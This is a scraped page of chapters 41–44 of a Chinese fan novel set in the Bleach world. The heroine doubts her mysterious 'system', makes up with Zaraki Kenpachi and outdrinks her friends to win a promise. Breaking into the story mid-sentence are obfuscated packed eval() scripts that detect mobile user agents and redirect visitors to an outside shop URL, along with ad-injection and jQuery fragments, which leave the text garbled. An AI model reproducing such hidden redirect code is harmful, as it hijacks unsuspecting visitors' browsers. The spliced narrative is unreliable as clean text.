她捂住脸,低声自嘲道:“我是不是傻,和它撒什么气?它不过是个没有自我思想和生命的智障系统而已,只懂得发布任务和发放奖励。和它生气有什么用?” 理智回笼后,若月千纱回忆往昔,才发现一切早有预兆。 在此之前,她完成过许多任务,靠任务奖励获得众多技能。这些技能就像天降金手指,无需她勤学苦练,她便知晓其中精髓。然而,她从不懈怠,总是将每个技能磨炼千万次,将熟练度提升至巅峰。 可是,无论她将技能掌握得多炉火纯青,她也从未靠自己的力量突破瓶颈、将某个技能提升过档次。 她原以为,瓶颈本就不易突破,需要日积月累地积累经验,才能厚积薄发,一举突破屏障; 她原以为,自己的技能相关知识全靠任务奖励获得,缺乏知识底蕴及创新能力,才无法跳出框架、升级技能; 她原以为,自己或许已经接近升级的门槛,只是完成任务的速度更快,让她错失自我提升的机会…… 或许,她在很早以前便有所感觉,但总是下意识为系统寻找借口。 毕竟,系统虽然坑她无数次,却在她最无力的时候给予她生存的希望,又让她拥有超越同窗们的实力。对她而言,系统的存在总是利大于弊。 现实给了她重重一击,她才恍然大悟——系统或许不是助她飞翔的羽翼,而是将她囚禁于牢笼之中的枷锁。 结合前几天的重大发现,系统的可疑性直线上升。 为何系统任务奖励的四大技能比真央灵术院亲授的更精妙高深?为什么连超脱凡人的死神都看不见系统?系统是什么时候、因何缘故绑定她的?养崽真的是系统的目的吗?这么做对系统有什么好处?又是谁创造出了系统? 以上的问题桩桩件件都不容深思。 更恐怖的是…… 她的失忆,是否和系统有关?她被分配到80区,会不会是系统创造者动的手脚,企图让渴望生存的她将系统当成救命稻草,并催生她的贪婪,用系统奖励作为诱饵吊着她,让她一步步走在已经设计好的道路上,完成某个不为人知的目的? 一想到这,若月千纱便不寒而栗。 智障系统的存在感一向可有可无,既未给她设过任务时限、催促她完成任务,也不曾施以任何惩罚。这种看似将所有主动权交付给她的行为,让她错以为自己才是主导者,从而松懈她的心防,让她把系统视作无害的外挂,从未对它起过疑心,毫无防备地完成一个又一个任务…… 若月千纱的想法不受控制地滑向深渊,脑海里冒出一个又一个阴谋,把自己吓得脸色发白,冷汗直流。 “这位同学,你没事吧?” 若月千纱沉浸在自己的思绪中,浑然未觉。 一只手轻轻地拍向她的肩膀。 若月千纱多年来培养的警戒本能发动,不待那只手落到实处,身体便自然而然地动了起来。条件反射之下,她扣住那只手臂,一拧身,狠狠地将人抛向远处。 “呀——” 许多道惊呼声交杂在一起,拉回了她神游的意识。 她定睛一看,自己刚才扔出去的不是别人,正是鬼道课的高桥老师。 他身体孱弱,脸色苍白,不知是天生体弱还是带病上课,还会时不时咳嗽一两声,让人恨不得将他摁到床上,让他好好卧床休息。 若月千纱知道万事不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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若月千纱的心情又差了一层。 她胡思乱想了一整天,把糟糕透顶的心情带到晚上,一个人借酒消愁。 “你今天怎么了?跟个闷葫芦似的。有烦恼的话,不如说出来让我们开心开……唔……” 柴田木原吃痛地捂住被突然袭击的腹部。 京乐春水若无其事地收回手肘,一手盖在若月千纱握住的酒杯上,把它从她手中抽出来放到旁边,推开她面前的酒瓶:“哎呀,心情不好?那就别喝酒了,喝闷酒多伤身体呐。说说看,你有什么烦心事?就算我们没办法替你排忧解难,也能多两个人分担你的烦恼嘛。” 分担烦恼?不可能的。那个来路不明的系统太过奇怪诡异,不知隐藏着怎样的秘密,又暗藏着怎样的隐患。随意对外暴露它的存在对她来说有弊无利,更何况他们初识不久,只是普通的酒友,不宜交浅言深。 不过,她感觉得出来,这两个人都在以自己的方式关心她。这种单纯的关怀让她心里一片温暖,压抑的心情顿时消散许多。 “柴田老师,好好听听,这才是人话,您学着点儿。”她朝柴田木原龇了龇牙,转头看向京乐春水,浅浅一笑,“多谢关心,京乐前辈,我好多了。” “好啊。是这种感觉吗?若月同学,听说你今天鬼道课的表现欠佳,你是在烦恼这件事吗?别心急,你很优秀,其他三个技能你都掌握得很好。今天是第一节鬼道课,你或许只是还没开窍……” “哈哈哈——”京乐春水被他拙劣的模仿逗笑,呛了一口酒:“咳咳咳——” “够了够了,好歹把表情和语气统一一下吧,鸡皮疙瘩都起来了。”若月千纱被柴田木原矫揉造作的语气恶心到,抱着胳膊抖了抖,“还有,你从哪里听来的消息?速度太快了吧。” 柴田木原嘚瑟:“我人缘好呗,朋友遍学院,大家都乐意和我分享第一手消息。” “人缘好?”若月千纱灵光一闪,想到一种可能性。她的心倏地剧烈跳动起来,遏制不住内心的冲动,脱口而出,“柴田老师,你认识医术高明的死神吗?” 42.第四十二章 对于系统的真身所在,若月千纱有两种推测:其一,系统是某种体积极小的高科技产品,被植入在她身体某部位的皮下位置;其二,系统是某种不科学的存在,被绑定在她的灵魂上。 若是前者,医术高明的医师或许能帮她取出系统;若是后者,手段莫测的死神或许有办法将其剥离她的灵魂。一个医术高明的死神,说不定能实现她的愿望。 ——对,若月千纱想摆脱这个宛如定时炸弹般的系统,重获自由。 “医术高明的死神?当然认得。你听说过护廷十三队的四番队吗?我有一两个朋友就在里面。隶属于四番队的死神主治疗和支援,说到治疗,无人出其左右。” 若月千纱心下一喜,海豹式鼓掌捧场:“哇哦,您真的好有人缘,交友广阔,佩服佩服——您帮我牵个线,让我认识一下您在四番队的朋友吧!” 柴田木原扬了扬眉:“我为什么要帮你牵线?” 若月千纱眉开眼笑,热情地拍了拍他的肩膀:“哎呀,别这么说,我们谁跟谁呀。朋友的朋友就是朋友,自然要认识一下嘛。” “哦?可是某人刚才好像不把我当朋友,都不肯吐露自己的烦心事——” “是谁这么过分?对朋友当然要坦诚相待了!譬如我,之前一直为如何找到医术高明的死神的事情发愁,就向你们坦率地倾诉了烦恼并寻求帮助。”若月千纱扯起袖子抹了抹眼角,“没想到您立刻替我扫除了烦恼,真是个两肋插刀的好朋友,我都感动到落泪了!” “……你赢了,我会帮你们牵线。不过,你现在出不了学校,等你毕业之后我才能把人介绍给你。六年时间,你等得了么?” 若月千纱放下手,笑了:“当然。更何况,未必需要那么长时间。真央灵术院应该允许跳级吧?” 她已经和系统绑定几十年了,不差这区区不到六年的时间。 “跳级?” 柴田木原和京乐春水表情陌生,似乎从未听说过这次词汇。 “把实力强大的战力困在学院六年,不觉得很浪费吗?遇到这种人,学校就该打破规则,让人提早毕业加入护廷十三队,为瀞灵廷效力啊!” “原来如此,我从未想过这种事情。不过,你是不是太自信了?打破陈规旧不是件易事,京乐和浮竹都不曾做到,你更没希望。” “能让柴田老师在这种时候指名道姓,看来京乐前辈的实力非常出众啊!不如你向学校提议跳级,成为第一个破例者,日后我就能轻松成为第二人!” “能被美人拜托,真令人开心呢。”京乐春水慵懒地笑着摆了摆手:“但是很抱歉,别指望我。毕业后的麻烦事太多了,我只想在学校里混完剩下两年。” “把主意打到京乐头上?你找错人了。他之所以来真央灵术院就读,就是因为他太过游手好闲,才被他的家人强迫送进来的。” “哇,京乐前辈的学前经历真是与众不同……那个,和京乐前辈名字并排的浮竹前辈是?” “浮竹十四郎,我的同期。”京乐春水笑容促狭,“他的实力很强,不比我弱。要我把他介绍给你吗?” 若月千纱再一次被他熟练的出卖朋友的行为震惊到了,对那位素未谋面的浮竹前辈心生同情。 不过,同情归同情,到手的鸭子不能放跑。 “好呀好呀,厉害的朋友当然是越多越好。京乐前辈,有空帮我牵个线呗?” “过几日我找个机会吧。” “够朋友!”若月千纱端起一旁的酒杯,笑容明媚,“有朋友就是好,你们帮大忙啦!我敬你们一杯。干杯!” “干杯!” 热热闹闹的小酒会结束后,若月千纱回到冷冷清清的宿舍,紧盯着长长久久陪伴在身旁的蓝紫色蝴蝶,才刚好转的心情再次跌入谷底。 解决系统问题的事情稍有眉目的确值得庆幸,但彻底剥离系统之前,她该如何面对这枚甩不开的不定时炸弹? 世事难料。她万万没想到,自己熟稔到骨子里的东西竟一瞬间变得陌生,而她对它的些许感激也随之无缝切换为无限的警惕。 她久违地迎来一个不眠之夜。 翌日,若月千纱走在前往男生宿舍的路上,步履踟蹰。 昨日长夜漫漫,面对来历不明的蓝紫色蝴蝶,她思考了太多不必要的东西,负面情绪爆棚,以致于明知道不应该,却仍然卑劣地迁怒于更木剑八。 她在80区生活了好几年,牙牙学语乃至襁褓之中的幼儿她都见过好几个。系统当初发布任务时,真的只有更木剑八一个选择么?她不信。 况且,通过这几日的学习,她对更木剑八的天赋有了更充分的认识。据她所知,更木剑八并非流魂街的鸡头、瀞灵廷的凤尾。即便在瀞灵廷里,他的天赋依然凤毛麟角,少有人及。 随机绑定的幼儿天赋竟凌驾于瀞灵廷天之骄子之上,这种事情竟然发生在一向背运的她的身上,她怎敢相信那只是单纯的巧合? 系统的目标非潜力无限的更木剑八莫属。那么,她无缘无故的失忆,极有可能是系统创造者为了利用她这个工具人所下的黑手。 她摸爬打滚数十年,受尽磨难,原来只是他人手中的提线木偶? 开局丢失记忆,在一无所知的情况下深陷地狱般的北80区,手无缚鸡之力,谁知道她当初有多么恐惧无力,却为了生存佯装坚强? 她知道,更木剑八同为身在局中的无辜之人,却克制不住自己无处宣泄的怒气——他确实不是罪魁祸首,但正因有他,她才陷入到这等境地。 她对他心存芥蒂,无法保持平常心,像平日那样接他去上学。 她走两步退一步,在距离男生宿舍楼一段距离时止步,鬼使神差地跃上树干,躲在繁茂的树冠中,屏息静气,透过树叶的缝隙看向男生宿舍楼楼下。 她不清楚自己这么做的目的,只是冲动使然,随心而动。 若月千纱在路上拖拉太久,更木剑八已下了楼,站在老地方等她。 时间一分一秒地流逝着。随着太阳慢腾腾地爬向高空,男宿舍楼门可罗雀,只剩一个孤零零的身影。 更木剑八抬头看了看天空,转动脑袋左瞧右看,似乎在寻找什么。 若月千纱条件反射地往后一躲,听到衣服和树枝摩擦的细微声音,硬生生止住动作,把气息收敛得更严实。 更木剑八张望了好一阵子,脸色越来越不耐烦,提起右脚。 若月千纱的胸口一下子揪紧了,自嘲地笑了起来。 他不打算等她了。 看吧,他们之间的约定一文不值,说到底不过那么点无足轻重的分量,只需要一点点等待时间便足以将其打破…… 更木剑八放下了脚。 若月千纱的思绪卡了壳。 更木剑八往地上一躺,天当被子地当床,竟睡起午觉来了。 这小家伙…… 若月千纱有点想笑,又笑不出来。 她静静地看着那个秒入睡的小孩子。 和初见时相比,他的面相依然凶狠,头发依然像刺猬的刺般朝四面八方竖起,但他长高了,也长壮了,健健康康地长大了。 看着这个人生中大部分时光都和她在一起的孩子,若月千纱的神情不知不觉间变得柔软,身上的戾气抽丝剥茧般逐渐消散。 太阳从正高空向西边缓缓爬行,更木剑八睡饱后醒来,仍然没有看到那个人的身影。 他坐了起来,活动了一番手脚,继续等待着正暗中观察着他的某人。 太阳西落,天色微暗,冷清了一整个白天的男宿舍楼楼下人头攒动,更木剑八被淹没在人群里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更木剑八心胸豁达,收到若月千纱的道歉后,便把等待了一整个白天的不爽抛开,不把这点小事放在心上:“好,我原谅你。” 靠在他肩膀上的脑袋动了动。脑袋和肩膀相触的地方被彼此的体温捂得暖暖的,却莫名多了点湿意。 “你的头发好刺啊,扎得我眼睛好疼,嘶,眼泪都被扎出来了呢。”若月千纱在他肩膀上胡乱蹭了蹭眼睛,抬起头,微红的眼角一弯,伸出小拇指,“我们拉钩,我以后决不迟到。” “拉钩?” “是一种许诺的方式。来,学我伸出小拇指。” 更木剑八懵懂地照做了。 两只小拇指缠在一起,勾住,上下摇了摇,松开。 “剑八,你回宿舍去吧,我们明天见。” “明天见。” 若月千纱别过更木剑八,转头走向训练场。 之前,关于系统的假想给她带来太过强烈的冲击,蒙蔽住她的理性,让她钻进了牛角尖。然而,之前那个无意间的小小试探唤醒了她,让她不再迷失。 无论更木剑八是否间接伤害到她,都已经不再重要。她只知道,他是她亲自照看着长大的孩子,他们之间的羁绊做不得假。 以前,他不曾抛弃她;那么之后,她也不会背弃他。 心中积郁的块垒没有那么容易消散,但至少,她解开了部分心结。 她带着释然的微笑走进训练场,奔向熟悉的角落,向酒友们打招呼:“晚安,柴田老师,京乐前辈,今天我来迟了……佐藤老师!?” 现场多出的第三个人转过头,冲见鬼般表情的若月千纱露出亲切的微笑:“晚安,若月同学。能不能解释一下,你今天为什么没来上课?” 43.第四十三章 潇洒旷课一天后欢快地参加小酒会,却被放了鸽子的任课老师逮了个正着,这是种怎样的体验? 若月千纱表示,这种滋味太酸爽,她有点承受不来。 “那,那个……” 若月千纱尴尬到脚趾抠地,脑袋里一片空白,一时想不出合适的借口。 她今天情绪失控,哪里管它上课不上课的?更何况,逃课又不是什么大不了的事情,旷课就旷课了呗。 但是,这种话不好在任课老师面前坦言…… 不对,佐藤老师不是被剑八打到多处骨裂了么?这才过了几天,他为什么好端端地出现在她面前,听起来今天还去上了课? 心里的疑问畅通无阻地经过空荡荡的大脑直抵她的嘴边,“佐藤老师,您的伤……?” “多谢关心,那点小伤当天就痊愈了。”佐藤俊川看到她脸上流露出的惊讶和疑惑,一边痛击一旁无良偷笑的损友,一边为她解惑,“有人为我施展了回道。你刚入学不久,还没学到这部分内容吧。回道是鬼道的三大分支之一,和破道、缚道不同,专用于治疗。” 若月千纱的疑问迎刃而解。 也对,死神的技能本就逆天,怎么可能没有神奇的治疗手段?回道啊……有它在,剥离系统的可能性又上了一个台阶。 若月千纱露出前景可期的微笑。 下一秒,这一抹期待被不留情的一句话击得支离破碎。 “绕回之前的话题,你为什么无故缺席?” 若月千纱脸上的微笑瞬间冻结。 实话实说是不可能的。那么,她该如何解释自己的缺席,才能挽回眼前这位老师兼日后酒友的好感度? 而且,事涉更木剑八,她得更加慎重些。佐藤俊川能发现她缺席,那么,给他留下深刻印象的更木剑八更不可能成为漏网之鱼,不能抱有侥幸心理。 若月千纱使出必杀技。 “对不起!”她利落地跪倒在地,伏下身体,“都是我的错。我昨天很晚才睡,今天起得太晚,还连累剑八害他也没去上课。您罚我吧!” 在当下,土下座是最高等级的道歉方式。收到如此诚心诚意的正式道歉,除了原谅,佐藤俊川还有别的选择吗? “不用这样,快起来吧!你能意识到自己的错误就好,日后不要再犯。” 无故缺席一事就此揭过。 柴田木原悄悄伸出大拇指,为她的能屈能伸点了个赞。 “你身上沾了好多灰尘,变成地上打滚过的小花猫了呢。我帮你擦一擦吧。”京乐春水从怀中掏出一块洁白的手帕,探向她蹭了灰的额头。 “这点灰尘拍一拍就干净了,没必要弄脏你的手帕,我自己来。” 若月千纱一个旋身闪开,用袖子擦了擦额头,拍了拍手上的灰尘,又用双手拍了拍沾了灰的衣服,搞定。 柴田木原喷笑:“哈哈哈哈哈,干得好,若月!你这家伙总爱向漂亮小姑娘献殷勤,这下吃瘪了吧?” 京乐春水淡定地将手帕收回怀中:“这怎么能叫献殷勤呢?好男人要懂得怜香惜玉。看到明珠蒙尘,当然要帮忙扫掉灰尘啊。” 经过几日相处,若月千纱对京乐春水的轻浮言行产生了免疫力,在这番肉麻话之前脸不红心不跳,甚至能顺着他的话揶揄两句:“哎呀,都怪我手快。我下次一定会扮好娇花和明珠,给你们一次展现好男人风度的机会哦。” “就你?娇花……噗哈哈哈哈……明珠……噗咳咳咳咳——”柴田木原夸张地捧腹大笑,笑到岔气。 若月千纱见状,摆出优雅的姿态,亭亭玉立着。她动作轻柔地挽了挽耳鬓的碎发,莞尔一笑,低垂下脑袋,露出白皙修长的后颈。那一低头的温柔,恰似明珠不染尘世的皎洁,又似白莲花不胜凉风的娇羞。 而后,她轻轻地跺了跺脚,扭了扭身体,娇嗔道:“柴田老师真坏,怎么能这么笑话人家呢~” 柴田木原还没止住咳嗽,被她矫揉造作的表演一激,咳得越发撕心裂肺。 若月千纱得意地向友军露出胜利微笑—— 佐藤俊川愕然的神情从她的视网膜上一闪而过。 若月千纱笑容一凝。 托两位酒友插科打诨的福,她完全忘记新酒友的存在,太过放飞自我,之前在佐藤俊川面前立的人设崩成了碎渣。 佐藤老师,打个商量,忘记刚才看到的和听到的,我们倒带重来吧? 若月千纱亡羊补牢,一秒将表情从得意切换成关切,扑到柴田木原身边,拍着他的后背帮他顺气:“柴田老师,快,深呼吸,憋气,深呼吸,憋气——” 急切之下,她不小心多用了一点点力气,一记记大力金刚掌拍得柴田木原的背砰砰作响。 柴田木原奋力挣扎,才挣脱她的魔爪,捡回一条小命,并且阴差阳错地止住了咳嗽。 “呼——好险好险,差点被拍出内伤。”柴田木原反手揉了揉疼痛的后背,龇牙咧嘴地看向若月千纱,“想冒充娇花,好歹收一收手劲——啊?你这是什么表情?” 若月千纱一副乖乖认错的样子,毕恭毕敬地弯下腰来:“对不起,柴田老师,都是我不好,刚才闹过头了。” 这个乖巧得不像话的家伙绝对不是他认识的若月千纱! 柴田木原浑身一抖,后退一步,脱口而出:“你谁啊——?” “柴田老师真爱说笑,您怎么可能不认得我呢?您都帮我带了酒呢。” “不不不,我认识的若月千纱才不是这种德性……” “柴田,你的说法太失礼了。”一道不赞同的声音插了进来,“说到底,最开始就是你的不对。若月同学都抢先向你道歉了,你作为老师,就没一点表示吗?” “佐藤,别被这家伙乖巧的表象欺骗——唔——”柴田木原位于佐藤俊川视线盲区的后背冷不丁遭受一记暗算,不小心咬到舌头,飙出血来。他于疼痛中扭头,看到一张无辜且关心备至的脸,“嘶——我认输我认输。若月,之前是我不对,原谅我吧。” 他的道歉敷衍极了,一看就知道没诚意。 若月千纱不以为意,笑得甜甜蜜蜜:“这么点小事哪里需要您道歉?我没有放在心上啦,说不上什么原谅不原谅的。” 佐藤俊川原本不满好友的道歉态度,但若月千纱都这么表态了,他不好扯着这件事不放。 他松开眉头,回到原位,在一旁摆上酒杯,斟上酒,朝若月千纱招了招手,示意她在那里坐下来。 诶? 若月千纱倍感意外。 经过刚才那一遭,再联系第一堂课的表现,佐藤俊川已经被她贴上“认真”、“古板”、“好为人师”的标签,还以为他会碍于老师的身份找借口遁走,不参与这次小酒会了呢。没想到,他居然主动邀请她入座? “别愣着,过去坐呀。”柴田木原拍了拍若月千纱的肩膀,看清她的表情,扬了扬眉毛,凑到她耳边和她咬耳朵,“怎么?你不会真当他是个固执古板的小老头吧?我会和那种人交朋友?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655872|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的话说服力太强,一下子震落佐藤俊川身上贴着的几个标签。 若月千纱信服地点了点头:“是我狭隘了。能和柴田老师成为朋友,再怎么正经都有限度。” 回过头来想想,会在大晚上偷偷摸摸和学生一起喝酒的老师,再怎么样都不能冠上“古板”的名头吧? “喂!什么叫做‘能和我成为朋友,再怎么正经都有限度’?” “物以类聚,人以群分嘛。譬如我。” “……” 若月千纱的自黑堵死了柴田木原的话。 她嘿嘿一笑,走到佐藤俊川身边坐下,笑容一收,向他郑重举杯:“佐藤老师,真是不好意思,我弟弟剑八还小,不懂事,脑子又一根筋,做事莽撞,没什么坏心眼,却老是闯出烂摊子。幸好您有雅量,没和他计较,多谢。我敬您!” 敬酒道歉,三杯起步。 若月千纱没耽误一秒钟,吨吨吨直接干掉三杯酒。 干完杯后,她放下熊孩子家长的身份,摇身一变,成为不拘小节的酒友,和他套近乎:“佐藤老师,这是我们第一次一起喝酒呢。以后大家都是喝同一壶酒的朋友,我就不拘礼啦。来来来,咱们干一杯!” 这一连串动作行云流水,压根没给佐藤俊川反应的时间。佐藤俊川被带进她那千变万化的快节奏里,稀里糊涂地顺着她的话举起酒杯,和她干了一杯。 柴田木原和京乐春水也加入了喝酒行列,你一杯我一杯,谈天说地,推杯换盏,共同炒热了气氛。 只要多聊上几句,自然就变得熟悉不少。一场小酒会下来,若月千纱和佐藤俊川多少有了些交情。 若月千纱踌躇满志。 只要时间一长,打交道的时间变多,她还怕刷不高佐藤俊川的好感度吗?待水到渠成后,她便能有条不紊地实施暗地里盘算好的计划。 然而,现实却不如她勾勒的蓝图一般美好。 ——和才见面没几次就很投缘的柴田木原、京乐春水不同,佐藤俊川和她的相性实在算不上好。友好相处?没问题。关系更进一步?不容易。 在私底下,他非但不古板,反而颇为随性。他酒瘾不大,并不常来小酒会,几天才露一回面,总是兴起而至,兴尽而归,带着几分洒脱和率性。 然而,不知为什么,若月千纱和他之间似乎隔着一层无形的薄膜,总是无法和他热络起来。 行吧,当不成酒中知己,那就当好师生吧。 若月千纱铆足了劲,在白打课上扮演一个谦逊好学的优秀学生,以博取他的好感度。 可惜,她身旁有个痴迷于战斗的小家伙,光是为了阻拦他的暴走就已经焦头烂额。此外,佐藤俊川是个公私分明的性子,压根不吃她这一套。他在正事上一丝不苟,对所有学生一视同仁,没有对她另眼相待。 若月千纱单方面努力了两个多月,和佐藤俊川依然只是泛泛之交。 “人和人之间的缘分真是奇妙啊。有人能一见如故,有人却死活拉不近关系。算了算了,太难了,我放弃。” 若月千纱举手投降,把佐藤俊川从她的计划中划掉。 “做人不能太贪心,该放手时就得放手。早知道是在做无用功,一个月前我就该启动计划了。当断则断,我记下了。” 若月千纱把押后一个月的计划拖出记忆的角落,抖了抖,翻开,嘴巴一咧,摇了摇无形的小箭头尾巴。 柴田木原和京乐春水莫名感受到一阵恶寒,四顾茫然。 44.第四十四章 几日后,三人的小酒会上。 柴田木原和京乐春水手上拿着几瓶一合装的清酒,看着地上摆着的六个酒坛子,都愣住了:“这是……?” 若月千纱笑嘻嘻地说道:“平时总是白蹭你们的酒,多不好意思啊,让我回请你们一回嘛。虽说小酌怡情,但偶尔大醉一场也不错吧?今晚我们来尽情喝个痛快!” 柴田木原双手交叉抱胸做防御状:“吝啬鬼主动掏腰包,我不信。说,你有什么阴谋?” “哎呀,被你发现了呢。”若月千纱神情一变,五指插进额前头发,往上霸气一撩,邪魅一笑,“我要把你们都灌醉,然后这样那样这样——” “噗——”柴田木原原地破防,连退几步,“我认输,快把这幅恶心模样收起来!” 若月千纱嘴角一勾,即将露出得意的微笑—— 京乐春水冲若月千纱张开双臂,露出暧昧的微笑,向她走去:“不用灌我,我主动投怀送抱来了。” 若月千纱半弯的嘴角一僵,秒怂,拼命摇手:“不不不,我开玩笑的,你站住。我最近心情不太好,想痛快醉一回,都说酒能解闷嘛。你们平常带来的那点酒根本喝不醉,我只好自掏腰包啦。这几坛酒,可是我费了老大的劲才搞到手的呢。是兄弟的,就陪我好好喝一场!” 听若月千纱这么一说,两人都信了几分。 真央灵术院不大,消息流通得很快。新生一届没有几个出众人物,最拔尖的当属若月千纱和更木剑八这对异姓姐弟。关于她近期的传闻,二人听说过不少。 然而,这些传闻多半是负面的。 据传,若月千纱刚入学时,实力强横。虽不如她弟弟,却碾压其他人,天资纵横。然而,那都只是假象。这两个多月以来,所有人都在大幅度进步,实力飞涨。唯有她,至今学不会鬼道的一招一式,还遇上了难以突破的瓶颈,自最初的蜕变后,实力一直在原地踏步,一点点被人接近。 哦,她弟弟更木剑八也不会鬼道,斩术和瞬步一直很差,但那些都不是问题。同期们亲眼看到,他每战斗一次就会强上一分,甩开众人一截。他的进步有目共睹,永无止境,实力非同凡响,有点偏科的小毛病不碍事。 倘若传闻不假,他们非常理解若月千纱为何心情不佳——尸魂界中,强者为尊。自己毫无长进,只能眼睁睁看着别人和自己的差距越来越小,甚至可以预见被人超越的未来,想必心中十分焦躁不安吧? 京乐春水不做伤口上撒盐的蠢事,点了点头:“好,我陪你喝。” 就算白目如柴田木原,也知道哪些话不该说。他难得善解人意了一回,没有拿这件事往若月千纱心口上扎刀,附和道:“我也是。” “好兄弟!” 若月千纱拍开三小坛酒的泥封;“盃太小,装不了几滴酒,喝起来不爽快。来,我们直接用坛子喝!先干了这坛子酒!” 两人看着眼前装着十合酒的酒坛子沉默了。 他们平常用容量一合的小酒瓶盛酒,倒进盃里浅斟慢酌,细细品味,三个人一晚上喝不到十瓶。而现在,若月千纱一开口就让他们干掉十合酒,还用了个“先”字…… 这么多酒,就算慢慢喝,全部下肚也能喝醉,根本不需要急于一时,一口气灌醉自己。这么灌酒,完全品尝不出酒的风味。就算再怎么想喝醉,这种喝法也太浪费了。更何况,这些酒是她出的。 她表现得太过急切,总让人觉得有些不对劲。 “你们愣着做什么呀?不是说要陪我喝酒么?男子汉大丈夫,别在这时候做缩头乌龟!”若月千纱一手抓着坛口将其提起,往两人面前一探,“来,干杯!” 此话一出,两个人都有了动作。 就算感觉到些微违和感又怎么样?难不成若月千纱真想对他们上下其手?大不了被她灌醉一通嘲笑,稍微丢个面子哄她开心呗。再说了,他们的酒量未必比她差,指不定谁先醉。 京乐·涉世未深·怜香惜玉·少年·春水笑了笑,提起酒坛,往若月千纱手上的酒坛子轻轻一碰:“干杯!” 柴田·心无防备·自恃酒量·想得简单·木原撇了撇嘴,跟着抓起酒坛,往两个人的酒坛子上一撞:“干杯!” 三个人同时将酒坛送到嘴边,仰起脖子。 若月千纱的喉咙不停地吞咽着,鲸鱼饮水般将十合酒一饮而尽。她的脸上蓦地浮起一抹绯红,用袖子一抹嘴巴,“咚”地一声把坛子放在地上,目光在不习惯这么灌酒、才喝了三分之一左右的两人脸上来回扫视着,时不时看一眼脚下的空酒坛,但笑不语。 她什么话都没说,但她的动作、眼神把所有话都说尽了。 一通猛灌之下,柴田木原和京乐春水已经有了些微醉意,情绪开始高涨。看到若月千纱脸上意味深长的笑容,他们自尊心作祟,不由得加快速度,拼了命灌酒。 若月千纱笑眯眯地看着他们上下滚动的喉结,以及脸上越发艳丽的红晕。 喝吧喝吧,喝得越急,醉得越快。 平常浅斟慢酌、喝得不多的你们,能扛得住十合酒一次性入腹的酒劲吗? 事实证明,喝酒和灌酒不是一回事。平时喝酒不易醉,不代表灌酒也醉不了。 柴田木原和京乐春水喝完一坛子酒,放下空酒坛,把仰着的脖子摆正。 只是简简单单一个低头的动作,就让两人骤然间头晕目眩,只觉得天旋地转,手上发软,拿不住酒坛子。 只听“啪”、“啪”两声,两个空坛子掉到了地上,骨碌碌滚出老远。 看着忍不住揉着太阳穴的少年和男人,若月千纱嘴角弧度又加深几分。 她猜测得果真没错,这两个家伙的酒量没她好! 那还等什么?该乘胜追击—— 不,再等一等,要等到他们酒劲更加上头、理性即将出走之际! “够……兄弟!”若月千纱拍开剩下三坛酒的泥封,“接着……喝!” 她刚才喝得太猛,这会儿酒意微醺,舌头有些发僵。 柴田木原和京乐春水的情况比她更糟糕些,醉得也比她想象中更快些。 两人的身体开始打摆子,清亮的眼睛有些发直。听到她的话后,两人愣了几秒,像是在辨别她说的话,而后亢奋地应道:“喝!” 他们伸手去捞推到他们面前的酒坛子,捞空了两次,才摸到了坛身。 时机已至! 若月千纱僵着舌头提议道:“光喝酒没……意思,我们添个……彩头!先醉倒的……两个人,要无条件……答应赢的人一个……请求!” 假如柴田木原和京乐春水仍是清醒状态,决不可能答应若月千纱图穷匕见的小提议。可惜,若月千纱之前从未在他们面前表露出这种心思,他们不曾防备她突然来这一手,没能事先预料到眼下的情况。 此刻,他们脑袋不灵光,情绪正上头,嘴巴比脑袋动得更快:“好!” 猎物掉坑里了! 若月千纱笑得牙不见眼:“说话……算话,不得……反悔,击掌……为誓!” 在酒精的作用下,失去判断力的两人和她击了掌。 尘埃落定。 “喝!” 若月千纱抱起酒坛子,又是一顿猛灌。 想要两人清醒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后认账,她不能靠拖延时间拖赢他们,必须用真正的实力战胜他们,让他们不好意思事后反悔! 又是十合酒下肚。 若月千纱脸上一片通红,醉醺醺地将酒坛口朝下晃了晃,向两个人大声宣布:“我喝……喝完了!你们……加油!” 见若月千纱干完第二坛酒,柴田木原和京乐春水被酒精掌控的脑袋里只剩下不服输的念头。 他们拼命往嘴里灌酒,然而,第二坛十合酒对他们来说,真的是太多、太多了…… 京乐春水喝到一半,手一松,直接醉倒在地。酒坛子摔在他身上,打了几个滚,洒了他一身酒,滚落到地上。 京乐春水对此毫无所觉,睡得天昏地暗。 柴田木原比他多抗了一会儿,喝到只剩1/3,才熏然倒地。 “浪费……!不能……浪费……” 若月千纱看到洒了一地的酒,心疼得直抽抽。她迈着虚浮的脚步走到两坛翻倒的酒坛子旁边,将它们扶正,把剩下的酒都倒进了嘴里。 喝完残酒后,她目光一飘,看到柴田木原和京乐春水带来的几瓶一合装清酒。 “这里也有……?不能……浪费……” 被酒精荼毒的大脑彻底失去思考能力,若月千纱遵循本能,将几瓶清酒一一灌进嘴里。 见目之所及之处再也没有清酒的影子,她心里一松,清酒的后劲一下子涌了上来。 她的身体晃了晃,栽倒在地,不省人事。 月亮升了又落,天空蒙蒙发亮。 偌大的训练场上,一滩不明物动了动。 “嘶——头好疼——”京乐春水从地上坐了起来,捂着快要炸裂的脑袋抽气,“怎么回事——柴田老师,若月?” 看到地上躺得四仰八叉的两人,以及散落在他们身边的坛坛瓶瓶,有几幅画面闪过京乐春水的脑海。 